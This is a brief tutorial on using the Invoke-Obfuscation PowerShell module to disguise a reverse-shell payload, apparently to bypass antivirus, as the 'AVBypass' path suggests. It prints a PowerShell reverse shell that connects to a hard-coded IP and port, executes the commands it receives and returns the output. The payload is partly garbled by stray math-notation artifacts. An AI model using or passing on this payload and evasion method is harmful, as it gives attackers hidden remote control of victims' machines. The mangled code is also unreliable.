Obfuscation

sudo apt install powershell

Then download the Invoke-Obfuscation module
git clone https://github.com/danielbohannon/Invoke-Obfuscation.git

go to the folder and start powershell: pwsh

Then import this module:

Invoke-Obfuscation

Then we need a powershell payload to obfuscate and save it as shell.ps1:

$client=New-ObjectSystem.Net.Sockets.TCPClient{(}^{\prime }192.168.48{.132}^{\prime },7777);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $\text{bytes.Length)) -ne 0){;}$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex sendback2 = $sendback{+}^{\prime }P{S}^{\prime }+(pwd).Path{+}^{\prime }{>}^{\prime };$sendbyte = ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$\text{stream.Flush()};}$client.Close(

Then use this command with the path for the script:

SET SCRIPTPATH /home/asem/AVBypass/shell.ps1

One of the options is to use: AST then ALL then u will see the Obfuscated script